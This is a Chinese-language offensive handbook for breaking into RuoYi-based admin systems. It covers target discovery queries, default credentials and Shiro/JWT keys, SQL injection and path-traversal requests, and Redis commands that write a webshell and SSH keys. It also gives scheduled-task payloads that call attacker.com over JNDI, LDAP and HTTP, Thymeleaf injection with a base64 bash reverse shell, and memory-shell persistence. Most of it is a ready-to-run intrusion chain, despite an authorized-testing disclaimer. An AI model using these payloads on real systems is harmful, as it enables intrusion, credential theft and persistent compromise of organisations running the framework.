若依 (RuoYi) 框架常见 Nday 漏洞利用姿势大全

0x01 前言

RuoYi(若依)作为国内最流行的 Java 快速开发框架之一,被广泛应用于各类企业后台管理系统中。据不完全统计,公网暴露的若依相关资产超过 10 万 +,其历史漏洞在大量二开系统中普遍存在,是渗透测试和攻防演练中的高频靶点。

本文全面整理了若依框架从资产识别、前台漏洞、后台漏洞到 GetShell 的完整利用链路,涵盖单应用版、前后端分离版、微服务版等多个版本的典型漏洞,旨在为安全研究人员提供一份系统化的攻防参考手册。

免责声明:本文仅用于安全研究与授权测试,未经授权攻击他人系统属于违法行为。传播、利用本文所提供的信息而造成的任何直接或间接后果及损失,均由使用者本人负责。


0x02 若依系统简介

2.1 主要版本分支

版本 特点 技术栈
RuoYi 单应用版本 Spring Boot + Shiro + Thymeleaf
RuoYi-Vue 前后端分离版(最常见) Spring Boot + Spring Security + JWT + Vue
RuoYi-Cloud 微服务版本 Spring Cloud Alibaba + Nacos + Gateway
RuoYi-Vue-Plus 增强版 Spring Boot 3 + Sa-Token + Redis + snail-job
RuoYi-App 移动版本 uni-app
Blade 若依衍生的低代码平台 Spring Boot + MyBatis-Plus + Avue + React

Blade( bladex )是基于若依魔改的低代码开发平台,分 Blade-Boot(单应用)和 Blade-Cloud(微服务)两个版本,企业用户量极大。其登录页通常显示 “BladeX 微服务开发平台” 字样,后端特征与若依高度相似但接口路径存在差异。Blade 同样存在 Druid 未授权、定时任务 RCE 等若依系通用漏洞,且 Shiro 版本的默认 Key 完全一致。

2.2 典型技术栈

  • 核心框架:Spring Boot / Spring Cloud
  • 权限认证:Apache Shiro / Spring Security / Sa-Token
  • ORM 框架:MyBatis / MyBatis-Plus
  • 数据库连接池:Alibaba Druid
  • 注册配置中心:Nacos(微服务版)
  • 定时任务:Quartz / snail-job
  • 缓存:Redis
  • 对象存储:MinIO(Plus / Cloud 版常见)
  • JSON 库:Fastjson(早期版本)
  • 接口文档:Swagger / Knife4j

0x03 资产识别与信息收集

3.1 典型特征识别

页面特征

若依与Blade加载界面对比

  • 经典紫色加载页面:”正在加载系统资源,请耐心等待”
  • 登录页背景图 + 小草 icon 图标(绿 / 蓝两种)
  • 后台左侧菜单栏 + 顶部标签页布局
  • Shiro 版(老):JSESSIONID=xxx + rememberMe=xxx
  • JWT 版(新):Admin-Token=xxx(JWT 格式)

接口特征

  • API 前缀:/prod-api/、/dev-api/、/api/、/admin-api/
  • 后端直连页面显示:”欢迎使用 RuoYi 后台管理框架,当前版本:vX.X.X,请通过前端地址访问”

3.2 FOFA 检索语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 经典小草icon哈希(绿+蓝两种)
(icon_hash="-1231872293" || icon_hash="706913071")

# 标题关键字
title="若依管理系统"

# 后端特征字符串
body="欢迎使用RuoYi后台管理框架"

# 组合查询
app="若依-管理系统"

# 微服务版Nacos
port="8848" && title="Nacos"

# Redis未授权(配套)
port="6379" && protocol="redis"

3.3 鹰图 (Quake) 检索语法

1
2
web.body="若依后台管理系统"
web.title="若依管理系统"

3.4 常见敏感路径速查表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Druid监控(多前缀变体——所有前缀均可能存在)
/druid/index.html
/druid/login.html
/prod-api/druid/login.html
/prod-api/druid/index.html
/dev-api/druid/login.html
/dev-api/druid/index.html
/api/druid/login.html
/api/druid/index.html
/admin/druid/login.html
/admin-api/druid/login.html

# Swagger接口文档
/swagger-ui.html
/v2/api-docs
/v3/api-docs
/doc.html
/prod-api/v2/api-docs

# Actuator端点
/actuator
/actuator/env
/actuator/heapdump
/actuator/jolokia

# 登录相关
/system/login
/captchaImage
/register

# 文件下载/上传
/common/download/resource
/common/download/
/common/upload

# Nacos(微服务版)
/nacos
/nacos/v1/cs/configs
/nacos/v1/auth/users

3.5 关联端口速查

端口 服务 利用方向
8080/80/443 Web 主服务 常规 Web 漏洞
8848 Nacos 未授权、配置泄露
6379 Redis 未授权、写 shell
3306 MySQL 弱口令、数据泄露
2181 Zookeeper 未授权、服务发现
9000 MinIO 未授权、文件读写
9090 后端直连 路径拼接探测

3.6 若依系统接口字典

以下 /system/* 接口路径在大量若依 / Blade / 二开版本中通用,配合 Swagger 或 Druid URI 监控可快速枚举。结合越权、未授权访问、定时任务等漏洞使用,覆盖率远超手工猜测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
/system/duplicate/check
/system/fillRule/add
/system/fillRule/delete
/system/fillRule/deleteBatch
/system/fillRule/edit
/system/fillRule/executeRuleByCode/
/system/fillRule/exportXls
/system/fillRule/importExcel
/system/fillRule/list
/system/fillRule/testFillRule
/system/gatewayRoute/clearRedis
/system/gatewayRoute/delete
/system/gatewayRoute/list
/system/gatewayRoute/updateAll
/system/getEncryptedString
/system/log/list
/system/login
/system/loginfo
/system/logout
/system/message/systemMessage/add
/system/message/systemMessage/delete
/system/message/systemMessage/deleteBatch
/system/message/systemMessage/edit
/system/message/systemMessage/list
/system/message/systemMessageTemplate/add
/system/message/systemMessageTemplate/delete
/system/message/systemMessageTemplate/deleteBatch
/system/message/systemMessageTemplate/edit
/system/message/systemMessageTemplate/list
/system/message/systemMessageTemplate/sendMsg
/system/online/forceLogout
/system/online/list
/system/oss/file/delete
/system/oss/file/list
/system/oss/file/upload
/system/permission/add
/system/permission/addPermissionRule
/system/permission/delete
/system/systemDepartRole/deptRoleUserAdd
/system/systemDepartRole/edit
/system/systemDepartRole/getDeptRoleByUserId
/system/systemDepartRole/getDeptRoleList
/system/systemDepartRole/list
/system/systemUserAgent/add
/system/systemUserAgent/edit
/system/systemUserAgent/queryByUserName
/system/tenant/add
/system/tenant/delete
/system/tenant/deleteBatch
/system/tenant/edit
/system/tenant/list
/system/tenant/queryById
/system/tenant/queryList
/system/third/user/checkPassword
/system/third/user/create
/system/thirdApp/getEnabledType
/system/thirdApp/recallMessageTest
/system/thirdApp/sendMessageTest
/system/thirdApp/sync/dingtalk/depart
/system/thirdApp/sync/dingtalk/user
/system/thirdApp/sync/wechatEnterprise/depart
/system/thirdApp/sync/wechatEnterprise/user
/system/thirdLogin/bindingThirdPhone
/system/thirdLogin/getLoginUser/
/system/thirdLogin/oauth2/
/system/thirdLogin/render/
/system/upload/uploadMinio
/system/user/add
/system/user/addSystemUserRole
/system/user/changePassword
/system/user/checkOnlyUser
/system/user/delete
/system/user/deleteBatch
/system/user/deleteRecycleBin
/system/user/deleteUserInDepart
/system/user/deleteUserInDepartBatch
/system/user/deleteUserRole
/system/user/deleteUserRoleBatch
/system/user/departUserList
/system/user/edit
/system/user/editSystemDepartWithUser
/system/user/exportXls
/system/user/frozenBatch
/system/user/generateUserId
/system/user/getCurrentUserDeparts
/system/user/getMultiUser
/system/user/list
/system/user/passwordChange
/system/user/phoneVerification
/system/user/putRecycleBin
/system/user/queryByIds
/system/user/queryByOrgCodeForAddressList
/system/user/queryUserByDepId
/system/user/queryUserComponentData
/system/user/queryUserRole
/system/user/recycleBin

0x04 前台漏洞(无需登录)

4.1 弱口令漏洞

漏洞等级:中危 | 利用条件:无

若依系统默认账号密码在大量二开项目中未被修改,是最高频的入口点。据统计,admin/admin123组合命中率约 63%。

常见账号密码组合:

1
2
3
4
5
6
7
admin / admin123    (最常见)
admin / admin
admin / 123456
ruoyi / admin123
ruoyi / 123456
druid / druid
nacos / nacos

利用技巧:部分站点登录页会自动填充记住密码,可通过 F12 修改 input 的 type 属性从password改为text,直接查看明文密码。

4.2 Shiro 反序列化漏洞(默认 Key)

漏洞等级:严重 | 利用条件:无 | CVE:CVE-2021-38241

早期若依版本使用 Shiro 作为权限框架,且默认加密密钥硬编码在配置文件中,导致反序列化 RCE。

影响版本:RuoYi <= v4.3.0(Shiro 1.4.2 及以下)

默认 Key:

1
2
3
fCq+/xW488hMTCD+cmJ3aQ==
kPH+bIxk5D2deZiIxcaaaA==
zSyS26qN9a1rQ3fK

检测方法:

  1. 发送请求,响应头 Set-Cookie 包含rememberMe=deleteMe即为 Shiro 特征
  2. 使用 ShiroAttack 工具爆破默认 Key

利用方式:

  1. 确认 Shiro 存在
  2. 爆破默认 AES Key
  3. 使用 CommonsBeanutils/CC 链等利用链执行命令
  4. 高版本需使用 AES-GCM 模式

4.3 Druid 未授权访问

漏洞等级:中危 | 利用条件:无

Druid 监控面板若配置不当可直接访问或使用弱口令登录,泄露大量敏感信息。

常见路径:

1
2
3
/prod-api/druid/index.html
/druid/login.html
/druid/index.html

利用价值:

  1. SQL 监控:查看所有执行过的 SQL 语句,获取表结构、字段信息
  2. URI 监控:枚举系统所有接口路径
  3. Session 监控:窃取在线用户 Session
  4. Spring 监控:获取 Bean 信息
  5. JSON API:/druid/stat.json 批量导出数据

默认账号密码:admin / admin、druid / druid

Session 劫持免密登录:

Druid 的 Session 监控页会列出所有在线用户的 Session ID。对于 Shiro 版,直接复制 JSESSIONID 替换到浏览器 Cookie 即可无需密码进入后台;对于 JWT 版,复制 Admin-Token 同理。这是区别于弱口令和 Shiro RCE 的第三种前台免密登录方式,尤其在有用户在线的高峰时段效果显著。

1
Druid → Session 监控 → 获取在线用户 JSESSIONID/Admin-Token → 替换 Cookie → 免密登录后台

4.4 JWT 密钥硬编码漏洞

漏洞等级:高危 | 利用条件:无 | 影响版本:RuoYi 3.4.0 等早期 JWT 版本

JWT 密钥硬编码在代码中(JwtConfig.SECRET),攻击者可反编译获取密钥后伪造任意用户 Token。

常见默认密钥:

1
2
abcdefghijklmnopqrstuvwxyz
SecretKey012345678901234567890123456789

利用方式:

  1. 反编译 jar 包或前端代码寻找密钥
  2. 使用 jwt.io 伪造 admin 用户 Token
  3. 替换 Admin-Token 直接登录后台

4.5 Swagger 接口文档泄露

漏洞等级:低 - 中危 | 利用条件:无

Swagger 未关闭时可获取完整接口清单,辅助寻找未授权接口和业务漏洞。

访问路径:

1
2
3
4
5
/swagger-ui.html
/doc.html (Knife4j)
/v2/api-docs
/v3/api-docs
/prod-api/v2/api-docs

4.6 Spring Boot Actuator 信息泄露

漏洞等级:中危 | 利用条件:无

若依后端直接暴露时,可能存在 Spring Boot Actuator 端点未授权访问。

常见端点:

1
2
3
4
5
6
/actuator/env          # 环境变量(含数据库密码、密钥)
/actuator/heapdump # 堆内存dump(可提取密码)
/actuator/mappings # 所有接口映射
/actuator/beans # Spring Bean列表
/actuator/trace # 请求追踪
/actuator/jolokia # JMX操作(可结合JNDI注入RCE)

4.7 Nacos 未授权访问(微服务版)

漏洞等级:严重 | 利用条件:无 | 影响:RuoYi-Cloud 版本

RuoYi-Cloud 微服务版默认集成 Nacos 作为注册配置中心,Nacos 默认未开启鉴权。

常见端口:8848(HTTP)、7848(gRPC)

漏洞类型

1. 默认未开启鉴权

1
2
3
4
5
6
7
8
# 直接获取所有配置
GET /nacos/v1/cs/configs?dataId=&group=&pageNo=1&pageSize=100

# 直接查看用户列表
GET /nacos/v1/auth/users?pageNo=1&pageSize=9

# 直接创建用户
POST /nacos/v1/auth/users?username=hack&password=hack123

2. User-Agent 绕过(CVE-2021-29441)

Nacos <= 1.4.1,User-Agent 设置为Nacos-Server即可绕过鉴权。

3. 默认 JWT 密钥漏洞

默认密钥SecretKey012345678901234567890123456789012345678901234567890123456789,可伪造 Token。

4. Derby SQL 注入 RCE(CVE-2021-29442)

通过 Derby 数据库 SQL 注入写入 webshell。

利用价值:获取数据库密码、Redis 密码、各服务配置、服务列表,进一步横向渗透。

4.8 Redis 未授权访问

漏洞等级:高危 | 利用条件:Redis 6379 端口暴露

若依系统普遍使用 Redis 作为缓存,大量部署存在未授权或弱口令。

利用方式:

1. 信息收集

1
redis-cli -h target.com info

2. 写 Webshell(需知道 Web 路径)

1
2
3
4
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET shell "<?php @eval($_POST['cmd']); ?>"
SAVE

3. 写 SSH 公钥(Redis 以 root 运行)

1
2
3
4
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET xxx "\n\nssh-rsa AAAAB3... attacker@kali\n\n"
SAVE

4. 主从复制 RCE(Redis 4.x/5.x)

使用 Redis-rogue-server 工具加载恶意 so 模块执行命令。

4.9 未授权文件上传

漏洞等级:中 - 高危 | 利用条件:部分二开版本

常见于 “绿若依” 系统,部分版本文件上传接口未做鉴权。

检测方法:

  1. F12 查找 app.js 中的 uploadUrl
  2. 直接访问/baseurl/common/upload测试

利用方式:

  • 无限制:直接上传 jsp/jspx webshell
  • 有白名单:上传 html 造成存储型 XSS,盲打后台管理员

4.10 注册接口漏洞

部分二开站点保留了注册功能,可直接注册账号登录后台。

检测路径:

1
2
/register
/system/register

4.11 Fastjson 反序列化漏洞

漏洞等级:高危 | 利用条件:无 | 影响版本:使用 Fastjson 的若依 / 二开版本

若依早期版本及大量二开系统依赖 Fastjson 处理 JSON,且未配置 autoType 黑名单,存在反序列化 RCE。

检测方法:

  • 查看 Swagger 接口文档,确认 Content-Type: application/json 的接口
  • DNSLog 探测:POST 提交 {"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}
  • 若版本 <= 1.2.47,无需开启 autoType 即可利用

利用方式:

  1. 使用 JNDI/LDAP 利用链(需目标出网)
  2. 高版本 JDK 下结合本地 Class 绕过(如 org.apache.ibatis.datasource)
  3. Fastjson + 若依定时任务(后台)组合可达 RCE

关联:若依 Druid Spring 监控页可查看 Bean 信息,确认 Fastjson 版本。

4.12 MinIO 未授权访问

漏洞等级:高危 | 利用条件:MinIO 暴露

RuoYi-Vue-Plus 和部分二开系统集成 MinIO 作为文件存储(/system/upload/uploadMinio 接口佐证)。MinIO 默认端口 9000,未配置认证时可直接读写所有 Bucket。

常见利用:

1
2
3
4
5
# 直接列出所有 Bucket
curl http://target:9000/minio/health/live

# 读取敏感文件
curl http://target:9000/<bucket>/<object>

横向价值:MinIO 中常存储系统备份、数据库导出文件、用户上传的敏感文档。


0x05 后台漏洞(需登录)

5.1 SQL 注入漏洞

漏洞等级:高危 | 利用条件:后台权限

若依框架数据权限过滤处使用${params.dataScope}直接拼接 SQL,导致多处注入点。

注入点一:角色列表 dataScope 参数

影响版本:< 4.6.2

POC:

1
2
3
4
5
6
POST /system/role/list HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: Admin-Token=xxx

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

注入点二:部门编辑 ancestors 参数

影响版本:RuoYi v4.6

POC:

1
2
3
4
5
6
POST /system/dept/edit HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: Admin-Token=xxx

deptName=1&deptId=100&parentId=12&status=0&orderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#

注入点三:代码生成 createTable 接口

影响版本:RuoYi 4.7.5

POC:

1
2
3
4
5
POST /tool/gen/createTable HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: Admin-Token=xxx

sql=CREATE table ss1 as SELECT/**/* FROM ...

注入点四:角色编辑接口

影响版本:多个版本

通过角色编辑接口的参数注入,原理同 dataScope。

5.2 任意文件下载漏洞

漏洞等级:高危 | 利用条件:后台权限

资源下载接口未对路径进行严格过滤,可通过目录穿越读取任意文件。

POC:

1
2
3
/common/download/resource?resource=/profile/../../../../etc/passwd
/common/download/resource?resource=/profile/../../../../Windows/win.ini
/common/download/resource?resource=/profile/../../../../application.yml

可读取的敏感文件:

  • Linux:/etc/passwd、/etc/shadow、/root/.ssh/id_rsa
  • Windows:C:\Windows\win.ini、配置文件、数据库配置
  • 应用配置:application.yml、数据库账号密码、Redis 密码

5.3 文件上传漏洞

漏洞等级:中危 | 利用条件:后台权限

文件上传仅校验扩展名,未检查文件真实类型(Magic Number),存在绕过风险。

上传路径:

1
2
/system/oss/file/upload
/common/upload

绕过方式:

  1. 双写扩展名:shell.jsp.jpg
  2. 大小写绕过:shell.Jsp
  3. 配合解析漏洞(如 Nginx 配置不当)GetShell

5.4 定时任务 RCE 漏洞(重点)

漏洞等级:严重 | 利用条件:后台权限 | CVE:CVE-2026-4564

若依定时任务(Quartz)的invokeTarget参数可调用任意 Java 类方法,通过反射实现 RCE。这是若依最经典的 GetShell 方式。

方式一:直接调用(低版本 < 4.6.2)

调用目标字符串:

1
2
3
4
5
6
7
8
9
10
11
// JNDI注入(需出网)
org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://attacker.com:1099/Exploit')

// LDAP注入
org.springframework.jndi.JndiLocatorDelegate.lookup('ldap://attacker.com:1389/Exploit')

// SnakeYaml反序列化
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker.com/yaml-payload.jar"]]]]')

// 直接执行命令
org.apache.commons.lang3.StringUtils.replace("cmd /c calc", "cmd", "cmd")

Cron 表达式设置为 0/10 * * * * ?,点击执行即可触发。

方式二:单引号绕过(v4.6.2 - v4.7.1)

4.6.2 版本新增了对ldap、rmi、http等关键字的过滤,但可通过添加单引号绕过:

1
2
h't'tp://attacker.com/
r'm'i://attacker.com/

方式三:SQL 注入绕过白名单(v4.7.8)

4.7.8 版本新增了白名单校验(必须包含com.ruoyi.quartz.task),但可通过代码生成功能的 SQL 注入直接修改数据库中的定时任务。

利用步骤:

  1. 创建定时任务,调用目标为:
1
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x恶意payload十六进制 WHERE job_id = 1;')
  1. 执行一次任务,SQL 注入修改数据库
  2. 再次执行任务触发恶意代码

方式四:子字符串绕过(v4.8.x)

4.8 版本白名单使用contains("com.ruoyi.quartz.task")判断,可构造包含白名单字符串的恶意类名绕过:

1
com.ruoyi.quartz.taskxxx.恶意类.方法

内存马工具:yaml-payload-for-ruoyi 可直接打入 Tomcat 内存马。

5.5 Thymeleaf 模板注入(SSTI)

若依单应用版使用 Thymeleaf 模板引擎,Controller 返回视图名时会将用户输入的 fragment 参数拼接到模板路径中(例如 "cache::" + fragment),Thymeleaf 解析 :: 后的内容时会执行 SpEL 表达式。由于不同版本的 Thymeleaf 黑名单策略不同,绕过方式分为两类独立漏洞。

通用前提:

  • 漏洞端点:/monitor/cache/getNames、/monitor/cache/getKeys、/monitor/cache/getValue(均为 POST,参数 fragment)
  • 接口方法不能带有 @ResponseBody 或 @RestController 注解,否则不会触发 View 解析
  • 利用条件:后台权限

检测方法(适用所有版本):

1
2
3
4
5
POST /monitor/cache/getNames HTTP/1.1
Host: <target>
Cookie: JSESSIONID=<valid_session>

fragment=test

返回 HTTP 500 表示参数被拼接到模板路径中,可能存在注入。

5.5.1 基础 SSTI —— RuoYi <= v4.7.1(Thymeleaf 3.0.12 以下)

漏洞等级:严重 | 影响版本:RuoYi <= v4.7.1

Thymeleaf 的 StandardExpressionPreprocessor 在预处理表达式时,会对参数内容做 SpEL 注入检测:若包含 T((调用静态方法)或 new (实例化对象)则抛出异常。低版本 Thymeleaf 的检测正则仅匹配 T( 这种紧凑写法,SpringEL 本身允许 T 与 ( 之间存在空白字符,由此产生绕过。

绕过原理:

  • T (java.lang.Runtime) —— SpringEL 正常解析,Thymeleaf 黑名单正则不匹配
  • *{...} 替代 ${...} —— 选择变量表达式同样被 Thymeleaf 执行
  • 将payload中的(${T (java.lang.Runtime).getRuntime().exec("open -a calculator")})进行url编码

POC —— 命令执行:

1
2
3
4
5
6
POST /monitor/cache/getNames HTTP/1.1
Host: <target>
Cookie: JSESSIONID=<valid_session>
Content-Type: application/x-www-form-urlencoded

fragment=header(${T (java.lang.Runtime).getRuntime().exec("open -a calculator")})

再url编码

1
fragment=header(%28%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%6f%70%65%6e%20%2d%61%20%63%61%6c%63%75%6c%61%74%6f%72%22%29%7d%29)

反弹 shell 变体:

1
2
3
4
5
6
POST /monitor/cache/getNames HTTP/1.1
Host: <target>
Cookie: JSESSIONID=<valid_session>
Content-Type: application/x-www-form-urlencoded

fragment=header(${T (java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9WUFNJUC81NTY2IDA+JjE=}|{base64,-d}|{bash,-i}")})

5.5.2 SSTI 绕过获取 ShiroKey 至 RCE —— RuoYi v4.8.1

漏洞等级:严重 | 影响版本:RuoYi = v4.8.1

v4.8.1 的 Thymeleaf 3.0.15 增强了黑名单(containsSpELInstantiationOrStaticOrParam),T ( 空格和 *{...} 均已失效。绕过方式是利用 Thymeleaf 预处理表达式,预处理阶段求值发生在黑名单检查之前。

预处理表达式通过 __|$${...}|__::.x 包裹 SpEL,由于 T(java.lang.Runtime) 被禁,需借助 @securityManager Bean 的 ClassLoader 进行反射调用。关键技巧:.getMethods、.getClass 去掉括号可避开部分检测点。

验证检测:

1
2
3
4
5
POST /monitor/cache/getNames HTTP/1.1
Host: <target>
Cookie: JSESSIONID=<valid_session>

fragment=__|$${#response.getWriter().print('SSTItest')}|__::.x

RCE POC(JDK 8):

1
2
3
4
5
6
POST /monitor/cache/getNames HTTP/1.1
Host: <target>
Cookie: JSESSIONID=<valid_session>
Content-Type: application/x-www-form-urlencoded

fragment=__|$${@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null).getClass.getMethods.?[name=='exec'][0].invoke(@securityManager.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods.?[name=='getRuntime'][0].invoke(null),'calc',null)}|__::.x

JDK 8u300+ 此链不可用;JDK 11/17 需将 exec 索引从 [0] 改为 [2];其余版本对 0–5 遍历尝试。

ShiroKey 提取:

1
2
3
4
5
6
POST /monitor/cache/getNames HTTP/1.1
Host: <target>
Cookie: JSESSIONID=<valid_session>
Content-Type: application/x-www-form-urlencoded

fragment=__|$${#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::.x

获取 Key 后可伪造管理员 RememberMe Cookie 免密登录。RuoYi 4.8.1 默认依赖不含反序列化利用链,需目标二开引入了 CommonsCollections/CommonsBeanutils 等才能直接反序列化 RCE。

5.6 QLExpress 表达式注入(RuoYi-Vue-Plus)

漏洞等级:严重 | CVE:CVE-2025-66916 | 影响版本:RuoYi-Vue-Plus <= 5.5.1

RuoYi-Vue-Plus 集成的 snail-job 组件存在 QLExpress 表达式注入漏洞,远程未授权攻击者可利用该漏洞读取敏感配置文件、写入恶意内容。

漏洞端点:

1
/snail-job/workflow/check-node-expression

5.7 越权漏洞

5.7.1 个人资料修改越权(高危)

漏洞描述:SysProfileController.updateProfile接口未对传入的 userId 做权限校验,普通用户可越权修改任意账户包括 admin 的密码和信息。

影响版本:早期 RuoYi-Vue 版本

POC:

1
2
3
4
PUT /system/user/profile HTTP/1.1
Cookie: Admin-Token=普通用户token

{"userId":1,"userName":"admin","password":"新密码"}

5.7.2 部门层级重绑定越权

漏洞描述:部门编辑接口未做严格权限校验,低权限用户可越权创建或移动部门,改变 DataScope 使用的部门层级授权路径,从而扩大数据权限范围。

5.7.3 通用越权检测思路

  • 水平越权:修改请求中的 userId/deptId 等参数,访问同级别其他用户数据
  • 垂直越权:普通用户 Token 直接调用管理员接口(如/system/user/list、/system/role/add)
  • 检测方法:对比高低权限账号的接口返回,替换 Token 测试

5.8 存储型 XSS 漏洞

漏洞等级:中危 | 利用条件:后台权限

5.8.1 公告模块 XSS

若依默认配置中,公告模块(/system/notice)被排除在 XSS 过滤之外,富文本内容直接使用v-html渲染,可注入恶意脚本。

配置佐证:

1
2
3
xss:
enabled: true
excludes: /system/notice # 公告内容排除了XSS过滤

利用方式:发布含恶意 JS 的公告,管理员查看时触发,窃取 Cookie 或 CSRF 提权。

5.8.2 XSSFilter 绕过

若依 Plus 的 XSSFilter 对整段 JSON 做匹配,存在多字段组合绕过的可能。可通过分散 payload 到不同字段,组合后触发。


0x06 进阶利用思路

6.1 路径拼接通杀思路

很多魔改若依站点修改了前端路径,但后端接口仍保留标准路径。发现后端特征页(”欢迎使用 RuoYi…”)后,可尝试拼接各类 API 前缀:

1
2
3
4
5
6
目标: http://target:9090/
尝试:
http://target:9090/prod-api/druid/
http://target:9090/dev-api/druid/
http://target:9090/api/druid/
http://target:9090/admin-api/druid/

6.2 从信息收集到 GetShell 完整链路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1. FOFA批量收集资产
↓
2. 批量探测:Druid未授权 / Swagger / Actuator / Nacos / Redis / MinIO
↓
3. 前台GetShell:Shiro反序列化 / Nacos Derby注入 / Redis写shell / Fastjson RCE
↓
4. 免密登录后台:
├── 弱口令(admin/admin123,命中率~63%)
└── Druid Session 劫持(复制在线用户 JSESSIONID/Admin-Token)
↓
5. SQL注入获取管理员密码哈希 / 读取配置文件
↓
6. 定时任务RCE / 模板注入GetShell
↓
7. 内存马持久化(冰蝎/哥斯拉/Behinder)
↓
8. 横向渗透:Nacos集群 / Redis横向 / 数据库提权 / MinIO敏感文件

6.3 通用检测工具

  • 若依综合利用工具:集成 SQL 注入、SSTI、Shiro、文件读取、定时任务等检测
  • LiqunKit:Shiro 综合利用工具
  • SpringBoot-Scan:Spring Boot 端点扫描
  • NacosScan:Nacos 漏洞扫描
  • yaml-payload-for-ruoyi:若依定时任务内存马生成
  • Redis-rogue-server:Redis 主从复制 RCE

6.4 微服务版横向渗透

拿下 Nacos 后:

  1. 读取各服务配置,获取数据库、Redis、MQ 等凭据
  2. 修改配置注入恶意配置(如数据库连接注入、Redis 主从复制 RCE)
  3. 通过 Gateway 网关探测内部服务
  4. 利用各服务自身漏洞进一步渗透
  5. Zookeeper 未授权访问(2181 端口)辅助服务发现

6.5 内存马持久化

拿到 RCE 后推荐打入内存马:

  • Tomcat Filter 型内存马:无文件、隐蔽性强
  • Spring Interceptor 内存马:适配 Spring Boot
  • 工具:哥斯拉内存马、yaml-payload-for-ruoyi

0x07 重要 CVE 漏洞列表

CVE 编号 漏洞类型 影响版本 严重程度
CVE-2021-38241 Shiro 反序列化 RCE < 4.6.1 严重
CVE-2024-9048 代码生成注入 RCE <= 4.7.9 严重
CVE-2026-4564 Quartz Job Handler 代码注入 <= 4.8.2 严重
CVE-2025-66916 QLExpress 表达式注入 RCE RuoYi-Vue-Plus <= 5.5.1 严重
CVE-2025-70986 权限绕过 - 高危
CVE-2024-57439 越权提权 4.8.0 中危
CVE-2025-67342 存储型 XSS 绕过 <= 4.8.1 中危
CVE-2021-29441 Nacos User-Agent 鉴权绕过 Nacos <= 1.4.1 严重
CVE-2021-29442 Nacos Derby SQL 注入 RCE Nacos <= 1.4.1 严重
上一篇
下一篇